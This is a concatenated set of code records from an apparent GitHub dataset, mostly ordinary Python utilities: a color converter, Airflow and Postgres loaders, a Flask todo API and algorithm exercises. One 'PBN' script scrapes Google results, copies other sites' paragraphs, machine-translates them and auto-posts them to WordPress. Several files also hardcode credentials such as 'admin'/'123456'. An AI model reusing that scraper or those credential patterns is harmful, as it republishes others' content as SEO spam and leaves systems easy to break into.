'hsv'):\n rgbTriple = colorsys.hsv_to_rgb(a1, a2, a3)\n elif (func == 'yiq'):\n rgbTriple = colorsys.yiq_to_rgb(a1, a2, a3)\n else:\n raise ValueError('Unrecognized scheme \"%s\".' % (func))\n\n # Try the #RRGGBB types (including re-processing ones from names!)\n elif (s.startswith('#')):\n if (len(s) % 3 != 1):\n raise ValueError('Bad length for #rgb color.')\n per = int(len(s)/3)\n #print(\"rgb%d\" % (per))\n rgbTriple = [ ]\n for i in range(3):\n piece = s[per*i+1:per*i+per+1]\n if (len(piece)==1): piece += piece\n rgbTriple.append(convertNumber('0x' + piece))\n\n else:\n raise ValueError('Unrecognized syntax: \"%s\".' % (s))\n\n return(rgbTriple)\n\ndef convertNumber(s:str):\n \"\"\"Take various numeric forms, and return a float in 0..1.\n \"\"\"\n #print(\"converting: '%s'.\" % (s))\n try:\n if (s.endswith('%')): return(float(s[0:-1])/100)\n if (s.startswith('0x')): return(int(s[2:],16)/255.0)\n if (s.startswith('0')): return(int(s,8)/255.0)\n if ('.' in s): return(float(s))\n return(float(int(s)/255.0))\n except ValueError as e:\n print(\"Cannot parse number from '%s'.\\n %s\" % (s, e))\n sys.exit()\n\ndef serialize(rgb, fmt):\n \"\"\"Convert a tuple of floats to the named output format.\n \"\"\"\n if (fmt == 'rgb3'):\n return('#%01x%01x%01x' %\n (int(rgb[0]*15), int(rgb[1]*15), int(rgb[2]*15)))\n elif (fmt == 'rgb6'):\n return('#%02x%02x%02x' %\n (int(rgb[0]*255), int(rgb[1]*255), int(rgb[2]*255)))\n elif (fmt == 'rgb9'):\n return('#%03x%03x%03x' %\n (int(rgb[0]*4095), int(rgb[1]*4095), int(rgb[2]*4095)))\n elif (fmt == 'rgdDec'):\n return('rgb(%3d, %3d, %3d)' %\n (int(rgb[0]*255), int(rgb[1]*255), int(rgb[2]*255)))\n elif (fmt == 'rgb%'):\n return('rgb(%5.1f%%, %5.1f%%, %5.1f%%)' %\n (rgb[0], rgb[1], rgb[2]))\n\n elif (fmt == 'hsv'):\n return('hsv(%5.3f%%, %5.3f%%, %5.3f%%)' %\n colorsys.rgb_to_hsv(rgb[0], rgb[1], rgb[2]))\n elif (fmt == 'hls'):\n return('hls(%5.1f%%, %5.1f%%, %5.1f%%)' %\n colorsys.rgb_to_hls(rgb[0], rgb[1], rgb[2]))\n elif (fmt == 'yiq'):\n return('yiq(%5.1f%%, %5.1f%%, %5.1f%%)' %\n colorsys.rgb_to_yiq(rgb[0], rgb[1], rgb[2]))\n else:\n raise ValueError('Unknown output format \"%s\".' % (fmt))\n\n\ndef cdistance(rgb1, rgb2):\n tot = 0.0\n for i in range(len(rgb1)):\n tot += (rgb1[i]-rgb2[i])**2\n return(math.sqrt(tot))\n\n#def findNearestPalColor(rgb6):\n# minDist = 999\n# minRGB = None\n# for i in range(len(pal)):\n# thisDist = cdistance(rgb5, pal[i])\n# if (abs(thisDist) < abs(minDict)):\n# minDict = thisDict\n# minRGB = pal[i]\n# return(minRGB)\n\n\n###############################################################################\n# Main\n#\ndef processOptions():\n import argparse\n\n try:\n from BlockFormatter import BlockFormatter\n parser = argparse.ArgumentParser(\n description=descr, formatter_class=BlockFormatter)\n except ImportError:\n parser = argparse.ArgumentParser(description=descr)\n\n parser.add_argument(\n \"--color\", # Don't default. See below.\n help='Colorize the output.')\n parser.add_argument(\n \"--iencoding\", type=str, metavar='E', default=\"utf-8\",\n help='Assume this character set for input files. Default: utf-8.')\n parser.add_argument(\n \"--oencoding\", type=str, metavar='E',\n help='Use this character set for output files.')\n parser.add_argument(\n \"--out\", type=str, default='rgb6', choices=\n [ 'rgb3', 'rgb6', 'rgb9', 'rgbdec', 'rgb%', 'hsv', 'hsl', 'yiq', 'name' ],\n help='Suppress most messages.')\n parser.add_argument(\n \"--pal\", type=str,\n help='File of \"known\" colors, one per line as #RRGGBB.')\n parser.add_argument(\n \"--quiet\", \"-q\", action='store_true',\n help='Suppress most messages.')\n parser.add_argument(\n \"--unicode\", action='store_const', dest='iencoding',\n const='utf8', help='Assume utf-8 for input files.')\n parser.add_argument(\n \"--verbose\", \"-v\", action='count', default=0,\n help='Add more messages (repeatable).')\n parser.add_argument(\n \"--version\", action='version', version=__version__,\n help='Display version information, then exit.')\n\n parser.add_argument(\n 'files', type=str, nargs=argparse.REMAINDER,\n help='Path(s) to input file(s)')\n\n args0 = parser.parse_args()\n if (args0.verbose): lg.setVerbose(args0.verbose)\n if (args0.color is None):\n args0.color = (\"CLI_COLOR\" in os.environ and sys.stderr.isatty())\n lg.setColors(args0.color)\n return(args0)\n\n\nargs = processOptions()\n\nif (args.pal):\n try:\n pfh = codecs.open(args.pal, mode='r', encoding=args.iencoding)\n except IOError:\n lg.error(\"Can't open -pal file '%s'.\" % (args.pal))\n sys.exit()\n precnum = 0\n while (True):\n rec0 = pfh.readline()\n if (rec0==\"\"): break\n precnum += 1\n rec0 = rec0.trim()\n if (not re.match('#[0-9a-fA-F]{6,6}', rec0)):\n lg.error(\"%s:%d: Bad record: '%s'.\" % (args.pal, precnum, rec0))\n sys.exit()\n else:\n palColors[rec0] = 1\n pfh.close()\n\nif (not args.files):\n if (not args.quiet): print(\"Waiting on STDIN...\")\n doOneFile(sys.stdin, 'STDIN')\nelse:\n for f in (args.files):\n try:\n fh0 = codecs.open(f, mode='r', encoding=args.iencoding)\n except IOError:\n lg.error(\"Can't open '%s'.\" % (f))\n sys.exit()\n doOneFile(fh0, f)\n fh0.close()\n","repo_name":"sderose/Color","sub_path":"colorConvert.py","file_name":"colorConvert.py","file_ext":"py","file_size_in_byte":11147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30079143526","text":"import random\nfrom time import time, sleep\nfrom requests_html import HTMLSession\nfrom googletrans import Translator\nfrom wordpress_xmlrpc import Client, WordPressPost\nfrom wordpress_xmlrpc.methods.posts import GetPosts, NewPost, EditPost\n\n\nclass PBN:\n def __init__(self, keyword):\n self.keyword = keyword\n self.trans_articles = list()\n self.titles = list()\n self.posts = dict()\n self.trans_posts = dict()\n self.articles = list()\n self.trans_titles = list()\n\n def google_parser(self, keyword, user_agent):\n self.keyword = keyword\n url = f'https://www.google.com.ua/search?q={self.keyword}&num=100'\n headers = {'User-Agent': user_agent}\n with HTMLSession() as session:\n resp = session.get(url, headers=headers)\n return resp.html.xpath('//div[@class=\"r\"]/a[1]/@href')\n\n def get_random_agent(self):\n with open('UA.txt') as f:\n agents = [x.strip() for x in f]\n return random.choice(agents)\n\n def main(self):\n # breakpoint()\n self.links = list()\n i = 0\n while True:\n if len(self.links) == 0:\n ua = self.get_random_agent()\n try:\n print(f'Send request to GOOGLE [{self.keyword}] user_agent: {ua}')\n self.links = self.google_parser(self.keyword, ua)\n except Exception as e:\n print(type(e))\n print(f'Parsed {len(self.links)} URLs')\n i += 1\n if i>0 and len(self.links) == 0:\n sleep(5)\n else:\n break\n\n def get_text(self):\n self.main()\n for link in self.links:\n if not len(self.articles) >= 3:\n try:\n with HTMLSession() as session:\n resp = session.get(link, timeout = 5)\n except:\n print(f'Не удалось подключиться к {link} либо большой таймаут')\n try:\n article = resp.html.xpath('//p')[1].text\n title = resp.html.xpath('//h1')[0].text\n if len(article)>100 and len(title)>0:\n if title not in self.titles:\n self.posts[title] = article\n self.titles.append(title)\n self.articles.append(article)\n print(f'Генерируем статью. Контент взят с {link}')\n else:\n print('У статей одинаковые заголовки..ищем дальше')\n except Exception as e:\n print(f'Не достаточно контента на странице {link} или нету h1')\n else:\n break\n\n return self.articles\n\n def translate(self):\n trans = Translator()\n for ttl, text in self.posts.items():\n trans_ttl = trans.translate(ttl)\n trans_text = trans.translate(text)\n self.trans_posts[trans_ttl.text] = trans_text.text\n print('Все статьи переведены!')\n\n def upload (self):\n wp_url = 'http://www.py4seo.com/xmlrpc.php'\n login = 'admin'\n passw = '123456'\n client = Client(wp_url, login, passw)\n posts = client.call(GetPosts({'number': 10000}))\n post = WordPressPost()\n for ttl, content in self.trans_posts.items():\n post.title = ttl\n post.content = content\n post.id = client.call(NewPost(post))\n post.post_status = 'publish'\n client.call(EditPost(post.id, post))\n url = f'http://py4seo.com/?p={post.id}'\n\n print(f'ЗАПОСТИЛИ СТАТЬЮ С ТАЙТЛОМ {ttl}' + ' - ' + url)\n\n\nif __name__ == '__main__':\n print('!!!!!!!! Hello World !!!!!!')\n test_pbn = PBN('hello world')\n articles = test_pbn.get_text()\n print(articles)\n","repo_name":"vvscode/py--notes","sub_path":"py4seo/Код с занятий/lesson12/dz/pbn.py","file_name":"pbn.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"40868795396","text":"from flask import Flask\nimport werkzeug\nwerkzeug.cached_property = werkzeug.utils.cached_property\nfrom flask_restplus import Api, Resource, fields\nfrom werkzeug.middleware.proxy_fix import ProxyFix\nfrom datetime import datetime, date\nimport requests\nimport cx_Oracle\n\ndsn_tns = cx_Oracle.makedsn('DESKTOP-DVJIFEV', '1521', service_name='XE')\nconn = cx_Oracle.connect(user=r'SYSTEM', password='O4oracle', dsn=dsn_tns)\n\nc=conn.cursor()\nc.execute('drop table Tasks')\nc.execute('create table Tasks (id number(2), task varchar2(20), due_by date, status varchar2(20))')\nc.execute('commit')\nconn.close()\n\napp = Flask(__name__)\napp.wsgi_app = ProxyFix(app.wsgi_app)\napi = Api(app, version='1.0', title='TodoMVC API',\n description='A simple TodoMVC API',\n)\n\nns = api.namespace('todos', description='TODO operations')\n\ntodo = api.model('Todo', {\n 'id': fields.Integer(readonly=True, description='The task unique identifier'),\n 'task': fields.String(required=True, description='The task details'),\n 'due by': fields.Date(required=True, description='Date when this task should be finished'),\n 'status': fields.String(description='Current status of task', default='Not Started')\n})\n\nstat_val = ['Not Started', 'In Progress', 'Finished']\n\n#Function prints database table contents everytime all tasks are listed using GET in API\ndef disp_dbtab():\n print('Table contents : ')\n print('Id\\t Task\\t\\t Due_Date\\t Status')\n conn = cx_Oracle.connect(user=r'SYSTEM', password='O4oracle', dsn=dsn_tns)\n c=conn.cursor()\n c.execute('select * from Tasks')\n for row in c:\n \tprint(row[0], '\\t', row[1], ' \\t', row[2], '\\t', row[3])\n conn.close()\n\n\nclass TodoDAO(object):\n def __init__(self):\n self.counter = 0\n self.todos = []\n\n def get(self, id):\n for todo in self.todos:\n if todo['id'] == id:\n return todo\n api.abort(404, \"Todo {} doesn't exist\".format(id))\n\n def get_due(self, due):\n t=[]\n f=0\n for todo in self.todos:\n if due in todo['due by']:\n f=1\n t.append(todo)\n if f==1:\n return t\n api.abort(404, \"Todo due on {} doesn't exist\".format(due))\n\n def get_overdue(self):\n t=[]\n f=0\n d1=date.today()\n for todo in self.todos:\n d2=datetime.strptime(todo['due by'],'%Y-%m-%d').date()\n if d2')\n@ns.response(404, 'Todo not found')\n@ns.param('due_date', 'The due by date of task')\nclass TodoDue(Resource):\n '''Shows tasks due on a particular date'''\n @ns.doc('get_due_todos')\n @ns.marshal_list_with(todo)\n def get(self, due_date):\n '''List all tasks due on the given date'''\n return DAO.get_due(due_date)\n\n\n@ns.route('/overdue')\nclass TodoOverdue(Resource):\n '''Lists overdue tasks'''\n @ns.doc('get_overdue_todos')\n @ns.marshal_list_with(todo)\n def get(self):\n '''List all overdue tasks'''\n return DAO.get_overdue()\n\n\n@ns.route('/finished')\nclass TodoFinished(Resource):\n '''Lists completed/finished tasks'''\n @ns.doc('get_finished_todos')\n @ns.marshal_list_with(todo)\n def get(self):\n '''List all finished tasks'''\n return DAO.get_finished()\n\n\n@ns.route('/')\n@ns.response(404, 'Todo not found')\n@ns.param('id', 'The task identifier')\nclass Todo(Resource):\n '''Show a single todo item and lets you delete them'''\n @ns.doc('get_todo')\n @ns.marshal_with(todo)\n def get(self, id):\n '''List a task given its identifier'''\n return DAO.get(id)\n\n @ns.doc('delete_todo')\n @ns.response(204, 'Todo deleted')\n def delete(self, id):\n '''Delete a task given its identifier'''\n DAO.delete(id)\n return '', 204\n\n\n@ns.route('/status/')\n@ns.response(404, 'Todo not found')\n@ns.param('id', 'The task identifier')\nclass TodoUpdate(Resource):\n @ns.expect(todo)\n @ns.marshal_with(todo)\n def put(self, id):\n '''Update status of a task given its identifier'''\n return DAO.update(id, api.payload)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"SrivarshaElango/Build-API","sub_path":"todo_api.py","file_name":"todo_api.py","file_ext":"py","file_size_in_byte":6662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21225097297","text":"# Generating the Z-height for each x,y in the pattern:\n# - find an ordering for all coordinates\n# - distribute over the Z range\nfrom math import ceil, log\nfrom PIL import Image\n\ndef bit_reverse(n,bits):\n \"Reverse the bits in the given number\"\n out = 0\n for i in range(bits):\n out <<= 1\n if (n & 1):\n out |= 1\n n >>= 1\n return out\n\ndef make_order_map(n):\n \"Create a decent non-sequential permutation\"\n # first create an ordering over the full bit width\n bits = int(ceil(log(n,2)))\n max_i = 1<=0, map)\n\ndef make_depths(X,Y,dn,df):\n dd = float(df-dn)\n t = float(X*Y)\n points = []\n mx = make_order_map(X)\n my = make_order_map(Y)\n for x in range(X):\n for y in range(Y):\n order = mx[(x+my[my[y]])%X]*Y+my[my[y]]\n d = ((order/t)*dd)+dn\n points.append((x,y,d))\n return points\n\n\nif __name__ == '__main__':\n X,Y = 1024, 600\n ds = make_depths(X,Y,0,256)\n for i in range(0,256,32):\n im = Image.new(\"L\",(X,Y),'black')\n pix = im.load()\n l,h = i,i+32\n for (x,y,d) in ds:\n if d < h and d >= l:\n pix[x,y] = 256\n im.show()\n\n\n \n","repo_name":"phooky/Crystal","sub_path":"pattern.py","file_name":"pattern.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73957062954","text":"from .base import * # noqa: F403\nfrom .base import env\n\nMIDDLEWARE.append(\"api.middleware.RangesMiddleware\") # noqa: F405\n\nDJANGO_DRF_FILEPOND_STORAGES_BACKEND = \"storages.backends.s3boto3.S3Boto3Storage\"\nAWS_ACCESS_KEY_ID = env(\"AWS_ACCESS_KEY_ID\")\nAWS_SECRET_ACCESS_KEY = env(\"AWS_SECRET_ACCESS_KEY\")\nAWS_S3_REGION_NAME = env(\"REGION_NAME\", \"us-west-1\")\nAWS_STORAGE_BUCKET_NAME = env(\"BUCKET_NAME\", \"doccano\")\nAWS_S3_ENDPOINT_URL = env(\"AWS_S3_ENDPOINT_URL\", None)\nAWS_DEFAULT_ACL = \"private\"\nAWS_BUCKET_ACL = \"private\"\nAWS_AUTO_CREATE_BUCKET = True\n","repo_name":"doccano/doccano","sub_path":"backend/config/settings/aws.py","file_name":"aws.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":8483,"dataset":"github-code","pt":"72"} +{"seq_id":"74791738151","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.contrib.hooks.aws_hook import AwsHook\nfrom airflow.utils.decorators import apply_defaults\nfrom airflow.models import BaseOperator\n\n\nclass StageToRedshiftOperator(BaseOperator):\n \"\"\"\n Load data from s3 to target table\n \"\"\"\n template_fields = ('s3_key',)\n ui_color = '#358140'\n copy_sql = \"\"\"\n COPY {}\n FROM '{}'\n ACCESS_KEY_ID '{}'\n SECRET_ACCESS_KEY '{}'\n {}\n \"\"\"\n\n @apply_defaults\n def __init__(self,\n aws_credentials_id,\n redshift_conn_id,\n s3_bucket,\n s3_key,\n target_table,\n file_format=\"json\",\n file_path=\"auto\",\n *args, **kwargs):\n \"\"\"\n :param aws_credentials_id: aws credentials id set by\n admin connections\n :param redshift_conn_id: redshift connection id\n set by admin connections\n :param s3_bucket: s3 bucket to load from\n :param s3_key: s3 object key to load from\n :param target_table: target table to copy to\n :param file_format: the format of data file in s3, support only json and csv\n (default: json)\n :param file_path: file path to be loaded from s3 (default: auto)\n also see, file_format\n \"\"\"\n super(StageToRedshiftOperator, self).__init__(*args, **kwargs)\n self.aws_credentials_id = aws_credentials_id\n self.redshift_conn_id = redshift_conn_id\n self.s3_bucket = s3_bucket\n self.s3_key = s3_key\n self.target_table = target_table\n self.file_format = file_format\n self.file_path = file_path\n\n def execute(self, context):\n if not (self.file_format == 'csv' or self.file_format == 'json'):\n raise ValueError(f'file format {self.file_format} is not csv or json')\n file_format_option = f\"format json '{self.file_path}'\" if self.file_format == 'json' \\\n else 'format CSV'\n aws_hook = AwsHook(self.aws_credentials_id)\n credentials = aws_hook.get_credentials()\n redshift = PostgresHook(postgres_conn_id=self.redshift_conn_id)\n\n self.log.info('Clearing data from destination Redshift table')\n redshift.run(f'DELETE FROM {self.target_table}')\n\n self.log.info('Copying data from S3 to Redshift')\n s3_path = f's3://{self.s3_bucket}/{self.s3_key}'\n formatted_sql = StageToRedshiftOperator.copy_sql.format(\n self.target_table,\n s3_path,\n credentials.access_key,\n credentials.secret_key,\n file_format_option,\n )\n redshift.run(formatted_sql)\n self.log.info(f'{self.target_table} loaded..')\n","repo_name":"eundoosong/udacity-data-engineering","sub_path":"data-pipeline-with-airflow/airflow/plugins/operators/stage_redshift.py","file_name":"stage_redshift.py","file_ext":"py","file_size_in_byte":2844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18810550607","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\ndef create_fail(pattern):\r\n le = len(pattern)\r\n fail = [0 for _ in range(le)]\r\n pidx = 0\r\n for idx in range(1, le):\r\n while pidx > 0 and pattern[idx] != pattern[pidx]:\r\n pidx = fail[pidx - 1]\r\n if pattern[idx] == pattern[pidx]:\r\n pidx+=1\r\n fail[idx] = pidx\r\n return fail\r\nret = 0\r\nS = str(input().rstrip())\r\nfor i in range(len(S) - 1):\r\n arr = create_fail(S[i:])\r\n ret = max(ret, max(arr))\r\nprint(ret)","repo_name":"ukjinlee66/PS","sub_path":"백준/Gold/1701. Cubeditor/Cubeditor.py","file_name":"Cubeditor.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36909585964","text":"#if you want to use sys.stdout.write, you have to import sys\nimport sys\n#I would also suggest using print(\"string\",end='') if you're using python3\n\n#grab the number of lines out of stdin and make it an int so the computer doesn't get angry\nlines = int(input())\nwords = list() #create a new list that will contain the words to write\n\n\n\n#get all the words from stdin and force them onto the list\nfor i in range(lines):\n words.append(input())\n\n\n\n# Figure out which word is the longest. This is important because\n# we can't stop the program until the longest word has been\n# completely written\nmax = 0\nfor i in range(0,lines):\n if len(words[i]) > max:\n max = len(words[i])\n\n# A cooler way to do this is:\n# max = len(max(words,key=len))\n\n# An even cooler way to do this:\n# g = lambda x: len(max(x,key=len))\n# max = g(words)\n# Or, instead of using the variable max at all, use g(words)\n\n\n\n# reverse the list so that the words show up in the correct order\nwords.reverse()\n\n\n\n\n# This does the actual writing of the words.\nfor i in range(max): #Make sure you write all the letters...\n for j in words: #Make sure you write one letter from each word per line\n if i >= len(j): #If there are no more letters to write,\n sys.stdout.write(' ') #write a space instead\n else:\n sys.stdout.write(j[i]) #otherwise, write the current letter\n print() #Include a newline after each row\n","repo_name":"klieth/HS","sub_path":"Rotate/rotate.py","file_name":"rotate.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73684239593","text":"import os\nimport psycopg2\n\nfrom time import sleep\nfrom datetime import datetime\nfrom from_root import from_root\nfrom sqlmodel import select\nfrom sqlmodel.sql.expression import Select, SelectOfScalar\n\nSelectOfScalar.inherit_cache = True # type: ignore\nSelect.inherit_cache = True # type: ignore\n\nfrom cvm.config import settings\nfrom cvm.core.downloader import TODAY\nfrom cvm.core.common import CSV_INFO\nfrom cvm.database import get_session\nfrom cvm.models import Uploader\n\n\ntry:\n conn = psycopg2.connect(\n database=settings.database.name,\n user=settings.database.user,\n password=settings.database.password,\n host=settings.database.host,\n port=settings.database.port,\n options=settings.database.options,\n )\n conn.autocommit = True\n cursor = conn.cursor()\nexcept Exception as e:\n print(\"Error[cvm.core.upload]: Error ao abrir conexão com banco de dados\")\n print(str(e))\n\n\nCURRENT_YEAR = TODAY.year\nDOWNLOAD_FOLDER = from_root(\"downloads\")\nDOWNLOAD_FOLDER_PG_DOCKER = \"/downloads\" # bind com a pasta no container do postgres\nSCHEMA = settings.database.schema\n\n\ndef get_last_upload_date() -> datetime | None:\n with get_session() as session:\n stmt = select(Uploader).order_by(Uploader.created_at).limit(1)\n results = session.exec(stmt).all()\n if len(results) <= 0:\n return None\n return results[0].created_at\n\n\ndef register_upload(message:str = 'OK', success:bool = False) -> None:\n \"\"\" \"\"\"\n update_date = Uploader(message=message, success=success)\n with get_session() as session:\n session.add(update_date)\n session.commit()\n\n\ndef exec_query_upload(year):\n \"\"\" \"\"\"\n flag_errs = False \n\n for doc in CSV_INFO:\n doc_name = f\"{doc['file']}{year}.csv\"\n path = f\"{DOWNLOAD_FOLDER}/{year}\"\n doc_path = f\"{path}/{doc_name}\"\n table_name = doc[\"table\"]\n header = doc[\"header\"]\n\n if os.path.isdir(path) and os.path.isfile(doc_path):\n query = f\"\"\"COPY {SCHEMA}.{table_name}({header})\\\n FROM '{DOWNLOAD_FOLDER_PG_DOCKER}/{year}/{doc_name}'\\\n WITH DELIMITER ';'\\\n NULL AS E\\'\\'\\\n CSV HEADER ENCODING 'latin-1';\"\"\"\n\n try:\n print(f\"Upload do arquivo [{doc_name}]... \", end=\"\")\n cursor.execute(query)\n sleep(1)\n print(f\"OK \\U0001F5F8\")\n except Exception as e:\n flag_errs = True\n print(f\"\\U0001F5F4\\nErro[exec_query_upload]: Erro ao processar query de upload dos dados!\")\n print(f\"Arquivo:{doc_name}\\nTabela:{doc['table']}\\nErro: {e}\")\n else:\n flag_errs = True\n print(f\"Erro[exec_query_upload]: Arquivo ou diretório não encontrado: \\n{doc_path}\")\n print(f\"verifique se a pasta '{path}' foi criada pelo comando 'cvm download' \")\n\n register_upload('with errors', False) if flag_errs else register_upload()\n\n conn.commit()\n conn.close()\n","repo_name":"dalmofelipe/cvm","sub_path":"cvm/core/uploader.py","file_name":"uploader.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28410501376","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def closestValue(self, root: TreeNode, target: float) -> int:\n res = root.val\n while root:\n if abs(target-root.val) < abs(target-res):\n res = root.val\n if target < root.val:\n root = root.left\n else:\n root = root.right\n return res \n\n\n'''\nSuccess\nDetails \nRuntime: 40 ms, faster than 94.02% of Python3 online submissions for Closest Binary Search Tree Value.\nMemory Usage: 15.7 MB, less than 5.42% of Python3 online submissions for Closest Binary Search Tree Value.\n'''\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution:\n def closestValue(self, root: TreeNode, target: float) -> int:\n sorted_arr = []\n self.inorder(root, sorted_arr)\n min_diff = 2**32-1\n ans = 0 \n for n in sorted_arr:\n if abs(n-target) < min_diff:\n min_diff = abs(n-target)\n ans = n\n return ans \n \n def inorder(self, root, res):\n if not root:\n return\n self.inorder(root.left, res)\n res.append(root.val)\n self.inorder(root.right, res)\n \n'''\nTime and Space: O(N) (tree traversal), O(1)\nSuccess\nDetails \nRuntime: 48 ms, faster than 61.90% of Python3 online submissions for Closest Binary Search Tree Value.\nMemory Usage: 15.7 MB, less than 6.41% of Python3 online submissions for Closest Binary Search Tree Value.\nNext challenges:\nCount Complete Tree Nodes\nClosest Binary Search Tree Value II\nSearch in a Binary Search Tree\n\nRelated Topics: Binary Search, Tree\n'''\n","repo_name":"KunyiLiu/algorithm_problems","sub_path":"kangli/leetcode/binary_tree/closest_binary_tree_value.py","file_name":"closest_binary_tree_value.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70304929833","text":"import add_path\nfrom settings import *\nfrom general import *\nimport general_functions as gf\nimport gen_dict_func as gdf\nfrom fix_parens import choose_sentence\nfrom get_shifts import get_shiftscl, elim_disjuncts\nfrom split_sentences import split_sentencescl\nfrom pack_conjunctions import pack_conjunctionscl\nimport print_log as pl\nfrom shutil import copy2\nfrom split_sentences import fill_stats\nfrom gen_dict_func import atomic_sent\n\n\ndef check_ssent2num(self):\n for x, y in self.ssent2num.maps[0].items():\n z = self.ssent2num.maps[1][y]\n if x != z:\n p('different')\n sys.exit()\n for x, y in self.ssent2num.maps[1].items():\n z = self.ssent2num.maps[0][y]\n if x != z:\n p('different')\n # sys.exit()\n\n\ndef meets_conditions(test, word, tpos, changed, partial, loop=0):\n if word == 'DM':\n bb = 8\n\n if not loop: # the first loop\n kind = 1\n # kind = 0\n else: # the second\n kind = 1\n if test and loop:\n kind = 1\n # kind = 0\n # exceptions = ['GVB', 'void', 'particle', 'ABA', 'CARI', 'SUE]\n exceptions2 = ['9', 'ASF', 'cosmos']\n\n exceptions = ['CARI']\n\n if tpos[0] != \"c\":\n if partial:\n if word in changed:\n return True\n else:\n return False\n elif kind == 2 and word not in exceptions2:\n return True\n elif kind == 1 and word not in exceptions2:\n return True\n elif not kind and word in exceptions:\n return True\n return False\n\n\nclass digital_definitioncl:\n def __init__(self, cls, **kwargs):\n atts = ['definitions', 'pos', 'arity']\n vgf.copy_partial_cls(self, cls, atts)\n self.kind2word = {}\n self.word2kind = {}\n self.changed = set()\n self.partial = False\n self.word2snum = chainmap({}, {})\n self.const_dct = pi.open_pickle(\"const_dct\")\n self.old_definitions = pi.open_pickle('definitions_old')\n self.test = kwargs.get('te')\n self.erase_ssent2num = kwargs.get('er')\n self.pickle = kwargs.get('pi')\n self.do_all = kwargs.get('all')\n self.def2sp_sent = {}\n self.currently_used = set()\n\n ################## private attributes\n\n self.mol_num = 0\n self.base_molecules = set()\n\n def main(self):\n self.get_more_attribs()\n self.atomic_kwargs()\n self.main_loop()\n self.reduce_connectives()\n self.number_molecules()\n self.get_word2snum()\n self.fix_ssent2num()\n self.save_pickle()\n return self\n\n def get_more_attribs(self):\n if self.erase_ssent2num:\n lst = ['ssent2num', 'sent_map']\n axiom_dct = pi.open_pickle(\"axiom_dictionary\")\n for x, y in axiom_dct.items():\n if x in lst:\n setattr(self, x, y)\n else:\n dct = pi.open_pickle(\"classless_dict\")\n self.ssent2num = dct['ssent2num']\n self.sent_map = dct['sent_map']\n cnmp = dct['word2snum']\n self.old_word2snum = chainmap({}, {})\n self.old_word2snum.maps[0] = jsonc(cnmp.maps[0])\n self.old_word2snum.maps[1] = jsonc(cnmp.maps[1])\n return\n\n\n def atomic_kwargs(self):\n self.atomic_kwargs = {\n 'entry': 'definition',\n 'ssent2num': self.ssent2num,\n }\n\n def main_loop(self):\n for self.word, definitions in self.definitions.items():\n tpos = self.pos[self.word]\n if meets_conditions(self.test, self.word, tpos, set(), False, 0):\n self.add2changed(definitions)\n lst = []\n for self.definition in definitions:\n if any(x in self.definition for x in all_connectives):\n self.sp_sent = choose_sentence().main(self.definition, self.word)\n if self.sp_sent == 'go to next sentence':\n p(f\"\"\"\n in {self.word} we could not correct the definition:\n {self.definition}\n \"\"\")\n else:\n self.get_unique_molecules()\n lst.append(self.sp_sent)\n self.conn_kinds()\n self.def2sp_sent[self.word] = lst\n return\n\n def add2changed(self, definitions):\n old = self.old_definitions.get(self.word)\n if old and old != definitions:\n self.changed.add(self.word)\n p(f\"changed {self.word}\")\n\n def conn_kinds(self):\n if self.sp_sent.conn.get('1.2') and self.sp_sent.conn['1.2'] == xorr:\n kind = 'perfect_disjuncts'\n\n elif any(y == xorr for x, y in self.sp_sent.conn.items()) and \\\n any(y == arrow for x, y in self.sp_sent.conn.items()):\n kind = 'arrow_disjuncts'\n\n elif any(y == arrow for x, y in self.sp_sent.conn.items()):\n kind = 'arrow_sentences'\n if self.sp_sent.sentence.count(arrow) > 1:\n p(f\"in {self.word} there are two arrows\")\n assert False\n if shift not in self.sp_sent.sentence:\n p(f\"in {self.word} there needs to be a shift\")\n assert False\n\n elif all(bool(y == cj) ^ bool(x == \"1\") ^ bool(y == '') for x, y in self.sp_sent.conn.items()):\n kind = 'perfect_conjuncts'\n\n elif any(y == xorr for x, y in self.sp_sent.conn.items()):\n kind = 'imperfect_disjunct'\n\n else:\n kind = 'other'\n self.sp_sent.kind = kind\n self.word2kind[self.word] = kind\n sent = self.sp_sent.sentence\n self.kind2word.setdefault(kind, {}).update({self.word: sent})\n\n def get_unique_molecules(self):\n single_sents = []\n for hnum, conn in self.sp_sent.conn.items():\n if not conn:\n tv = self.sp_sent.tvalue[hnum]\n ssent = tv + self.sp_sent.name[hnum]\n csent = gdf.atomic_sent(ssent, **self.atomic_kwargs)\n csent.hnum = hnum\n single_sents.append(csent)\n csent2 = self.new_csent(csent)\n csent2.sent_id = \"\"\n csent2.dash = \"\"\n csent2.tvalue = \"\"\n if csent2.relation == 'DM':\n bb = 8\n\n csent2.get_base_form(\"definition\")\n if csent2.base_form == '(e = b)':\n p(self.word)\n bb = 8\n\n self.currently_used.add(csent2.base_form)\n if csent2.base_form not in self.sent_map:\n self.base_molecules.add(csent2.base_form)\n self.sent_map[csent2.base_form] = csent2\n\n _ = {x.hnum: x for x in single_sents}\n 